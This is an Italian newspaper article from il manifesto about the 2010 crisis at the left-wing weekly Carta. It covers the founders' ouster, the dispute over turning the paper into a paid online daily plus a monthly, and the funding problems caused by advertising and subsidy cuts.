Carta. "Un colpo di staterello, senza banane…". In crisi il settimanale dei Cantieri sociali

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«Dimissionata» la coppia dei fondatori, Gigi Sullo e Anna Pizzo, è uno strappo storico quello che lacera Carta, il settimanale nato per separazione consensuale da una costola del manifesto. Tra le onde della crisi e dei tagli all’editoria, i fondatori immaginavano un 2011 praticamente «a carta zero», con un quotidiano on line a pagamento e un mensile. Ma la redazione ha detto no: «Stiamo lavorando per far sopravvivere il giornale, non serve un altro quotidiano, ma la nostra linea non cambia»

di Angelo Mastrandrea per il Manifesto

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Il settimanale Carta
L’asfissia cui questo governo ha condannato il giornalismo indipendente miete le prime vittime. Difficile leggere altrimenti il tormento che sta vivendo una delle creature più vicine al manifesto per cultura, storia e storie individuali. Parliamo del settimanale Carta e dell’annessa rete dei Cantieri sociali, nata in parallelo alla gestazione di quello che alla fine del ’98 fu pensato come un mensile di «comunicazione sociale» allegato al manifesto del giovedì.

Nella sede di via dello scalo di San Lorenzo dove la sala conferenze è intitolata a Luigi Pintor, per la prima volta dopo dodici anni di direzione unica e ininterrotta a curare la fattura del settimanale non c’è più Pierluigi Sullo e non c’è nemmeno l’altra fondatrice Anna Pizzo. Non solo perché il giornale a giugno ha dichiarato lo stato di crisi e prepensionato i due fondatori, coppia inseparabile nella vita e sul lavoro, prima al manifesto per oltre vent’anni poi nella nuova impresa editoriale dopo una «separazione consensuale» dal quotidiano comunista, di cui Sullo è stato anche vicedirettore (per quattro anni nella prima metà dei ’90, con Rina Gagliardi prima e con Guido Moltedo poi, direttore Pintor).

La questione è molto più seria e divide la piccola comunità dei sostenitori e lettori di Carta, che in parte condividono con il manifesto abbonamenti o acquisto in edicola, e comunque una certa visione «eretica» della politica a sinistra. Il 5 luglio scorso infatti il Consiglio di amministrazione della cooperativa ha accettato (a maggioranza, unico voto contrario quello di Pizzo) le dimissioni, presentate a voce e non per iscritto, di Sullo. Al suo posto il cda ha nominato nuovo direttore Enzo Mangini, che all’epoca della «scissione» dal manifesto era stagista alla redazione esteri di via Tomacelli. Di fronte alla particolarità della situazione in cui si trovano, i redattori (in tutto 14 persone tra giornalisti e non giornalisti, tutti under 40 tranne l’altro ex manifestino e co-fondatore Marco Calabria, la redazione più giovane del panorama editoriale italiano) ci tengono però a far sapere che «in questo momento di crisi ci assumiamo tutti la responsabilità della rotta politico-editoriale», in una sorta di direzione collettiva e autogestionaria. Un effetto collaterale dello scossone e dell’irrigidimento dei rapporti sono state le successive polemiche dimissioni di Anna Pizzo dal cda.
Nel piccolo mondo dell’editoria di sinistra, si tratta di una rottura epocale. Perché quando si parla di Carta a torto o a ragione si pensa immediatamente a Gigi e Anna. Erano loro il volto «esterno» del giornale, il primo con i suoi articoli di fondo, la seconda con un’attività interna-esterna che l’ha portata a fare la portavoce del Genoa social forum al tempo del G8 del 2001 e dal 2005 la consigliera regionale del Lazio, sempre in «quota» Carta e versando da buona militante la metà dello stipendio al giornale.

Ma cos’è che ha portato a un avvicendamento così repentino e burrascoso, al punto che i due giornalisti finiti in minoranza parlano di «colpo di staterello, purtroppo senza banane» che ha portato al «dimissionamento» di Sullo, aggiungono che «un cornicione del peggiore realismo socialista ci è caduto sulla testa» e si chiedono come un collettivo nato sull’idea di andare oltre le forme della politica delle sinistre novecentesche e sull’onda dello zapatismo possa di colpo convertirsi «nell’imitazione grottesca di un gruppuscolo marxista-leninista dei tardi anni settanta?».

Volendo soprassedere sul più generale calo delle vendite e sulla recessione globale, e perfino sulla bonaccia dei movimenti sui quali il giornale aveva surfato con relativo successo per un decennio, nella trincea di San Lorenzo parlano di una più immediata doppia crisi. Anzi tripla, se si considera che all’incertezza sui contributi all’editoria per il 2010 (i 400 mila euro del 2009, l’80% del totale, sono stati anticipati da Banca Etica grazie alle fideiussioni rilasciate da tutti i soci) va sommato un duplice blocco della pubblicità. Proviamo a spiegarci meglio. Rifiutando le inserzioni delle multinazionali e quelle non considerate «etiche», un giornale come Carta si alimenta soprattutto degli spot degli enti locali. Che affluiscono in due modi: per via diretta, sotto forma di pubblicità istituzionali; e per via indiretta, da parte di associazioni e cooperative sociali che pubblicizzano iniziative realizzate con contributi pubblici. Massacrati dai tagli di Tremonti, gli enti locali hanno serrato la cassa e non pagano nemmeno ciò che era già dovuto. Le associazioni e coop sociali fanno altrettanto, in attesa che si sblocchino i finanziamenti pubblici. Da qui la triplice asfissia, con conseguenti problemi a pagare fornitori, distributori e stipendi ai redattori, fermi a quattro mesi fa. Una situazione non dissimile alla nostra e, per rimanere nell’ambito del giornalismo di sinistra, a quella di Liberazione, il giornale di Rifondazione comunista impegnato in una difficile estate di sottoscrizione straordinaria per non essere soffocato a sua volta.

La grave crisi finanziaria era stata esplicitata da Sullo e Pizzo con uno slogan a effetto: Carta Zero o zero Carta? Nelle intenzioni dei fondatori, il 2011 avrebbe dovuto essere l’anno zero di Carta, a zero carta o quasi, per evitare che si arrivasse a una zero Carta per davvero. Gioco di parole apparentemente contorto ma efficace che, pubblicato in versione estesa sul settimanale e poi sviluppato sulla rubrica settimanale sul manifesto, ha fatto esplodere la redazione, da qualche anno traslocata in una bella sede nel quartiere rosso-antagonista di San Lorenzo, purtroppo affacciata su quell’ecomostro chiamato Tangenziale, dopo una prima fase in un appartamento al Villaggio Olimpico. Il progetto, esplicitato per la prima volta da Sullo a un incontro alla comunità delle Piagge di Firenze su «Democrazia km0», prevedeva un quotidiano on line a pagamento e la trasformazione del settimanale in mensile, proposta poi meglio specificata in un alleggerimento del settimanale agganciato a un mensile. Un modo, nelle intenzioni, per sfuggire all’impasse finanziaria che si è materializzata a giugno.

Un ritorno al passato, dunque, vale a dire al mensile disegnato dal grande Piergiorgio Maoloni (che ne ha accompagnato le successive evoluzioni fino alla sua scomparsa nel 2005), per un anno allegato al manifesto (da fine ’98 a fine ’99) e poi mantenuto tale fino alla vigilia del G8 di Genova, quando la crescita del movimento no global spinse a osare il settimanale. E contemporaneamente uno sguardo al futuro, convinti che «un’altra politica esista, sia molto vasta e più robusta di quanto si riesca a vedere, ma frammentaria, diffidente di ogni forma di organizzazione e che per di più tende ad adoperare mezzi di comunicazione molto diversi da quello – tradizionale nella forma – che Carta aveva scelto alla vigilia di Genova, nel 2001, un settimanale cartaceo diffuso nelle edicole», come Sullo ha scritto in una lettera inviata a chi gli chiedeva delucidazioni sull’accaduto. Una fuga troppo in avanti, per la redazione, dettata dall’urgenza economica piuttosto che da un progetto meditato: «Ci siamo chiesti perché un altro quotidiano visto che, come ci hanno fatto notare diversi lettori, esiste già il manifesto. Avevamo già provato a farlo in maniera gratuita e non è andato bene. Potremmo invece usare il sito in maniera diversa».

Il progetto di Sullo e Pizzo è così naufragato ancora prima di nascere. Non era mai accaduto in un giornale le cui svolte avevano sempre visto protagonisti i due fondatori e che non ha mai slegato i suoi contenuti da battaglie politiche e discussioni teoriche alimentate e sostenute dalla rete dei Cantieri sociali: dal dibattito di inizio millennio innescato da un libro di Marco Revelli su come andare «oltre il Novecento», motivo di aspre polemiche con il manifesto, all’ultima discussione avviata da un illuminante articolo di Guido Viale sulla «dittatura dell’ignoranza», passando per la partecipazione attiva al primo Social forum di Porto Alegre e al sostegno alla nascita della Rete del Nuovo Municipio, il sostegno attivo alle lotte territoriali (dai No Tav ai No Ponte), la promozione dei consumi alternativi e dell’equo e solidale, i dibattiti su come cambiare il mondo senza prendere il potere, fino all’adesione ultima al comitato referendario per l’acqua pubblica. Un modello di giornalismo «interno» ai movimenti sociali che Carta non intende abbandonare, anche se per Sullo il segnale che il giornale avesse perso la propria carica ideale sarebbe arrivato quando la redazione non avrebbe aderito con convinzione alla campagna sul «chilometro zero» e prima ancora quando la redazione si sarebbe arroccata su se stessa non facendo partecipare alla cooperativa la rete di lettori-amici-compagni-sottoscrittori dei Cantieri sociali.

Ancora: per l’ormai ex direttore l’obiettivo dei suoi ex compagni sarebbe chiaro: chiudere onorevolmente. «Hanno deciso che il senso di Carta, il suo messaggio, è ormai defunto» e che «la cooperativa non è più in grado di continuare ad esistere», per cui «il motto è: si salvi chi può». Accuse rispedite al mittente dalla redazione: «Stiamo lavorando per far sopravvivere il giornale, la nostra linea non cambia. Continuiamo a pensare alla costruzione di una società ‘altra’ fuori dal capitalismo», dicono. E danno appuntamento alla seconda edizione del «Clandestino day», giornata antirazzista l’anno scorso celebrata in 60 città. Ci vediamo il 24 settembre. Confidando di riuscire a riprendere fiato, contando anche sull’aiuto dei lettori, invitati ad abbonarsi e a organizzare iniziative di sostegno.

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